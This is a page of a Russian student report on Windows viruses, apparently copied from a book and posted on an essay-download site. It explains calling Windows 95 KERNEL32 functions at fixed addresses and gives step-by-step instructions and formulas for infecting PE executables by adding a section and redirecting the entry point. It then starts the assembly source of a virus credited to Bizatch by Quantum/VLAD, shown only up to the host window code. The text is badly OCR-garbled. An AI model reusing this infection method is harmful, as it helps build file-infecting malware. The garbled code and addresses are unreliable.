скачать рефераты
  RSS    

Меню

Быстрый поиск

скачать рефераты

скачать рефератыДоклад: Вирусы под Windows

Чтобы получить описатель (Handle) DLL/EXE, можно использовать
вызов API GetModuleHandle или другие функции для получения точек
входа модуля, включая функцию получения адреса API GetProcAddress.

Как вызывать API, имея возможность вызывать его и в то же время та-
кой возможности не имея? Ответ: вызывать API, расположение которо-
го в памяти известно - это API в файле KERNEL32.DLL, он находится
по постоянному адресу.

Вызов API приложениями выглядит приблизительно так:

call APLFUNCTIONJMAME
например:

call CreateFileA
После компиляции этот вызов выглядит так:

db 9Ah .инструкция call
dd 7777 ;смещение в таблице переходов

Код в таблице переходов похож на такой:

jmp far [offset into import table]

Смещение в таблице импортируемых имен содержит адрес диспетчера
для данной функции API. Этот адрес можно получить с помощью
GetProcAddress API. Диспетчер функций выглядит так:

push function value
call Module Entrypoint

Зная точки входа, можно вызывать их напрямую, минуя таблицу этого
модуля. Поэтому можно заменить вызовы KERNEL32.DLL в его стан-
дартной точке на вызовы непосредственно функций. Просто сохраняем
в стеке значение функции и вызываем точку входа в модуль.

Модуль KERNEL32 располагается в памяти статически - именно так
и предполагалось. Но конкретное место его расположения в разных вер-
сиях Windows 95 отличается. Это было проверено. Оказалось, что одна
функция (получение времени/даты) отличается номером. Для компен-
сации этих различий добавлена проверка двух различных мест на нали-
чие KERNEL32. Но если KERNEL32 все-таки не найден, вирус возвра-
щает управление программе-носителю.

Адреса и номера функций

Для June Test Release KERNEL32 находится по адресу OBFF93B95h, для
August Release - по адресу OBFF93ClDh. Можно найти другие значе-
ния функции, используя 32-битный отладчик. В таблице 3.1 приведены
адреса функций, которые нужны для работы вируса.

Таблица 3.1. Адреса некоторых функций KERNEL

Функция Адрес в June Test Release

Адрес в August Test
Release

GetCurrentDir BFF77744h BFF77744h
SetCurrentDir BFF7771Dh BFF7771Dh
GetTime BFF9DOB6h BFF9D14Eh
MessageBox BFF638D9h BFF638D9h
FindFile BFF77893h BFF77893h
FindNext BFF778CBh BFF778CBh
CreateFile BFF77817h BFF77817h
SetFilePointer BFF76FAOh BFF76FAOh
ReadFile BFF75806h BFF75806h
WriteFile BFF7580Dh BFF7580Dh
CloseFile BFF7BC72H BFF7BC72h


Соглашения о вызовах

Windows 95 написан на языках C++ (в основном) и Assembler. И, хотя
соглашения о вызовах просты для применения, Microsoft их не исполь-
зует. Все API под Wm95 используют Pascal Calling Convention. При-
мер - API, описанный в файлах справки Visual C++:

FARPROC GetProcAddress(

HMODULE hModule, // описатель DLL-модуля
LPCSTR IpszProc // имя функции

);

На первый взгляд кажется, что достаточно лишь сохранить в стеке опи-
сатель DLL-модуля (он стоит перед указателем на имя функции) и выз-
вать API. Но это не так. Параметры, согласно Pascal Calling Convention,
должны быть сохранены в стеке в обратном порядке:

push offset IpszProc

push dword ptr [hModule]

call GetProcAddress

Используя 32-битный отладчик, можно оттрассировать вызов и найти
вызов KERNEL32 для каждого конкретного случая. Это позволит полу-
чить номер функции и обойтись без необходимой для вызова таблицы
импортируемых имен.

Заражение файлов формата PE-executable

Определение положения начала РЕ-заголовка происходит аналогично
поиску начала NE-заголовка. Если смещение таблицы настройки адре-
сов (поле 18h) в заголовке ЕХЕ-файла 40h или больше, то по смещению
ЗСЬ находится смещение PE-executable заголовка. Сигнатура PE-execu-
table ("РЕ") находится, как и у NE-executable ЕХЕ-файла, в начале но-
вого заголовка.

Внутри РЕ-заголовка находится таблица объектов. Ее формат наиболее
важен по сравнению с прочими. Для добавления вирусного кода в но-
ситель и перехвата вирусом управления необходимо добавить элемент
в таблицу объектов.

Основные действия заражения PE-executable файла:

1. Найти смещение заголовка PE-executable в файле.

2. Считать достаточное количество информации из заголовка для
вычисления его полного размера.

3. Считать весь РЕ-заголовок и таблицу объектов.

4. Добавить новый объект в таблицу объектов.

5. Установить точку входа RVA на новый объект.

6. Дописать вирус к файлу по вычисленному физическому смещению.

7. Записать измененный РЕ-заголовок в файл.
Для определения расположения таблицы объектов следует воспользо-
ваться значением переменной "HeaderSize" (не путать с "NT
headersize"), которая содержит совместный размер заголовков DOS, РЕ
и таблицы объектов.

Для чтения таблицы объектов необходимо считать HeaderSize байт
от начала файла.

Таблица объектов расположена непосредственно за NT-заголовком. Зна-
чение "NTheadersize" показывает количество байт, следующих за полем
"flags". Итак, для определения смещения таблицы объектов нужно по-
лучить NTheaderSize и добавить размер поля флагов (24).

Добавление объекта: получив количество объектов, умножить его на 40
(размер элемента таблицы объектов). Таким образом определяется сме-
щение, по которому будет расположен вирус.

Данные для элемента таблицы объектов должны быть вычислены с исполь-
зованием информации в предыдущем элементе (элементе носителя).

RVA=((prev RVA+prev Virtual Size)/OBJ Alignment+1)

*OBJ Alignment

Virtual Size=((size of virus+buffer any space)/OBJ Alignment+1)

*OBJ Alignment

Physical Size=(size of virus/File Alignment+1 )*File Alignment

Physical Offset=prev Physical Offset+prev Physical Size

Object Flags=db 40h,0,O.COh

Entrypoint RVA=RVA

Теперь необходимо увеличить на единицу поле "количество объектов"
и записать код вируса по вычисленному "физическому смещению"
в размере "физического размера" байт.

Пример вируса под Windows 95

.386

locals

jumps

.model flat.STDCALL

include win32.inc некоторые 32-битные константы и структуры

L equ <LARGE>

;0пределим внешние функции, к которым будет подключаться вирус
extrn BeginPaint:PROC
extrn CreateWindowExA:PROC
extrn DefWindowProcA:PROC
extrn DispatchMessageA:PROC
extrn EndPaint:PROC
extrn ExitProcess.-PROC
extrn FindWindowA:PROC
extrn GetMessageA:PROC
extrn GetModuleHandleA:PROC
extrn GetStockObject:PROC
extrn lnvalidateRect:PROC
extrn LoadCursorA:PROC
extrn LoadlconA:PROC
extrn MessageBeep:PROC
extrn PostQuitMessage:PROC
extrn RegisterClassA:PROC
extrn ShowWindow:PROC
extrn SetWindowPos:PROC
extrn TextOutA:PROC
extrn TranslateMessage:PROC
extrn UpdateWindow:PROC

;Для поддержки Unicode Win32 интерпретирует некоторые функции

;для ANSI или расширенного набора символов.

;В качестве примера рассмотрим ANSI

CreateWindowEx equ <CreateWindowExA>

DefWindowProc equ <DefWindowProcA>

DispatchMessage equ <DispatchMessageA>

FindWindow equ <FindWindowA>

GetMessage equ <GetMessageA>

GetModuleHandle equ <GetModuleHandleA>

LoadCursor equ <LoadCursorA>

Loadlcon equ <LoadlconA>

MessageBox equ <MessageBoxA>

RegisterClass equ <RegisterClassA>

TextOut equ <TextOutA>

•data

newhwnd dd 0

Ippaint PAINTSTRUCT <?>

msg MSGSTRUCT <?>

we WNDCLASS <?>

mbx_count dd 0

hinst dd 0

szTitleName db "Bizatch by Quantum / VLAD activated"

zero db 0

szAlternate db "more than once",0

szClassName db "ASMCLASS32",0

[Сообщение, выводимое в окне
szPaint db "Left Button pressed:"
s_num db "OOOOOOOOh times.",0

.Размер сообщения

MSG_L EQU ($-offset szPaint)--!

.code

;Сюда обычно передается управление от загрузчика.
start:

.Получим HMODULE
push L О

call GetModuleHandle
mov [hlnst],eax
push L 0

push offset szClassName
call FindWindow
or eax.eax
jz reg_class

.Пространство для модификации строки заголовка

mov [zero]," "
reg_class:

;Инициализируем структуру WndClass

mov [wc.clsStyle],CS_HREDRAW+CS_VREDRAW+CS_GLOBALCLASS

mov [wc.clsLpfnWndProc],offset WndProc

mov [wc.clsCbClsExtra],0

mov [wc.clsCbWndExtra],0

mov eax,[hlnst]

mov [wc.clsHlnstance], eax

[Загружаем значок

push L IDLAPPLICATION
push L 0
call Loadlcon
mov [wc.clsHlcon], eax

; Загружаем курсор

push L IDC.ARROW

push L 0

call LoadCursor

mov [wc.clsHCursor], eax

.Инициализируем оставшиеся поля структуры WndClass
mov [wc.clsHbrBackground],COLOR_WINDOW+1
mov dword ptr [wc.clsLpszMenuName],0
mov dword ptr [wc.clslpszClassNameJ.offset szClassName

;Регистрируем класс окна
push offset we
call RegisterClass

; Создаем окно

push L 0 .IpParam
push [hinst] .hinstance
push L 0 ;Меню
push L 0 ;hwnd родительского окна
push L CWJJSEDEFAULT ;Высота
push L CWJJSEDEFAULT ;Длина
push L CWJJSEDEFAULT ;Y
push L CWJJSEDEFAULT ;X
push L WSJ3VERLAPPEDWINDOW ;Style
push offset szTitleName ;Title Style
push offset szClassName ;Class name
push L 0 ;extra style
call CreateWindowEx

.Сохраняем HWND

mov [newhwnd], eax

.Отображаем окно на экране
push L SW.SHOWNORMAL
push [newhwnd]
call ShowWindow

;0бновляем содержимое окна
push [newhwnd]
call UpdateWindow

;0чередь сообщений
msgJoop:

.Прочитаем следующее сообщение из очереди
push L О
push L О
push L О
push offset msg
call GetMessage

;Если функция GetMessage вернула нулевое значение, то завершаем
[обработку сообщений и выходим из процесса

стр ах.0

je endJoop

Преобразуем виртуальные коды клавиш в сообщения клавиатуры
push offset msg
call TranslateMessage

Передаем это сообщение назад в Windows
push offset msg
call DispatchMessage

[Переходим к следующему сообщению
jmp msgJoop

;Выход из процесса
endJoop:

push [msg.msWPARAM]

call ExitProcess

.Обработка сообщений окна. Win32 требует сохранения регистров

;ЕВХ, EDI. ESI. Запишем эти регистры после "uses" в строке "ргос".
;Это позволит Ассемблеру сохранить их
WndProc proc uses ebx edi esi, hwnd;DWORD, wmsg:DWORD,
wparam:DWORD, lparam:DWORD
LOCAL theDC: DWORD

[Проверим, какое сообщение получили, и перейдем к обработке
cmp [wmsg],WM_DESTROY
je wmdestroy

стр [wmsg],WM_RBUTTONDOWN
je wmrbuttondown
cmp [wmsg],WM_SIZE
je wmsize

cmp [wmsg].WM_CREATE
je wmcreate

cmp [wmsg],WM_LBUTTONDOWN

je wmlbuttondown

cmp [wmsg],WM_PAINT

je wm paint

cmp [wmsg],WM_GETMINMAXINFO

je wmgetminmaxinfo

Данная программа не обрабатывает это сообщение.
.Передадим его Windows,
:чтобы оно было обработано по умолчанию
jmp defwndproc

.Сообщение WM_PAINT (перерисовать содержимое окна)
wmpaint:

Подготовим окно для перерисовки
push offset Ippaint
push [hwnd]
call BeginPaint
mov [theDC], eax

;Переведем в ASCII-формат значение mbx_count, которое
доказывает, сколько раз была нажата левая кнопка мыши

mov eax,[mbx_count]

mov edi, offset s_num

call HexWrite32

; Вывод строки в окно

push L MSG_L ;Длина строки

push offset szPaint ;Строка

push L 5 ;Y

push L 5 ;X

push [theDC] ;DC
call TextOut

;0бозначим завершение перерисовки окна
push offset Ippaint
push [hwnd]
call EndPaint

; Выходим из обработки сообщения
mov eax, 0
jmp finish

;Сообщение WM_CREATE (создание окна)
wmcreate:

; Выходим из обработки сообщения
mov eax, О
jrnp finish

[Сообщение, не обрабатываемое данной программой, передаем Windows
defwndproc:

push [Iparam]

push [wparam]

push [wmsg]

push [hwnd]

call DefWindowProc

[Выходим из обработки сообщения
jmp finish

[Сообщение WM_DESTROY (уничтожение окна)
wmdestroy:

[Закроем поток
push L О
call PostQuitMessage

[Выходим из обработки сообщения
mov eax, О
jmp finish

.Сообщение WMJ-BUTTONDOWN (нажата левая кнопка мыши)
wmlbuttondown:

inc [mbx_count]

[Обновим содержимое окна
push L О
push L О
push [hwnd]
call InvalidateRect

[Выходим из обработки сообщения
mov eax, О
jmp finish

[Сообщение WM_RBUTTONDOWN (нажата правая кнопка мыши)

wmrbuttondown:

push L 0
call MessageBeep

; Выход им из обработки сообщения
jmp finish

;Сообщение WM_SIZE (изменен размер окна)
wmsize:

[Выходим из обработки сообщения
mov eax, О
jmp finish

[Сообщение WM_GETMINMAXINFO (попытка изменить размер
;или положение окна)
wmgetminmaxinfo:

[Заполним структуру MINMAXINFO
mov ebx, [Iparam]

mov [(MINMAXINFO ptr ebx).mintrackposition_x],350
mov [(MINMAXINFO ptr ebx).mintrackposition_y],60

.Выходим из обработки сообщения
mov eax, 0
jmp finish

[Выходим из обработки сообщения
finish:

ret
WndProc endp

Процедура перевода байта в ASCII-формат для печати. Значение,
[находящееся в регистре AL, будет записано в ASCII-формате
;по адресу ES:EDI
HexWriteS proc

; Разделяем байт на полубайты и загружаем их в регистры АН и AL
mov ah.al
and al.OFh
shr ah,4

[Добавляем 30h к каждому полубайту, чтобы регистры содержали коды
[соответствующих символов ASCII. Если число,

;записанное в полубайте, было больше 9,
;то значение в этом полубайте надо еще корректировать
or ax,3030h

.Меняем полубайты местами, чтобы регистр АН содержал младший
.полубайт, а регистр AL - старший
xchg al.ah

;Проверим. надо ли корректировать младший полубайт,
.если да - корректируем

cmp ah, 39h

ja @@4

[Проверим, надо ли корректировать старший полубайт,
;если да - корректируем
@@1:

cmp al,39h

ja @@3

;Сохраним значение по адресу ES:EDI
@@2:

stosw

ret

.Корректируем значение старшего полубайта
@@3:

sub al, 30h

add al, "A"-10

jmp @@2

[Корректируем значение младшего полубайта
@@4:

sub ah, 30h

add ah, "A"-10

jmp @@1
HexWriteS endp

[Процедура перевода слова в ASCII-формат для печати.
[Значение, находящееся в регистре АХ, будет записано
;в ASCII-формате по адресу ES:EDI
HexWrite16 proc

;Сохраним младший байт из стека
push ax

;3агрузим старший байт в регистр А1_
xchg al,ah

.Переведем старший байт в ASCII-формат
call HexWrite8

; Восстановим младший байт из стека
pop ax

Переведем младший байт в ASCII-формат

Страницы: 1, 2, 3


Новости

Быстрый поиск

Группа вКонтакте: новости

Пока нет

Новости в Twitter и Facebook

  скачать рефераты              скачать рефераты

Новости

скачать рефераты

© 2010.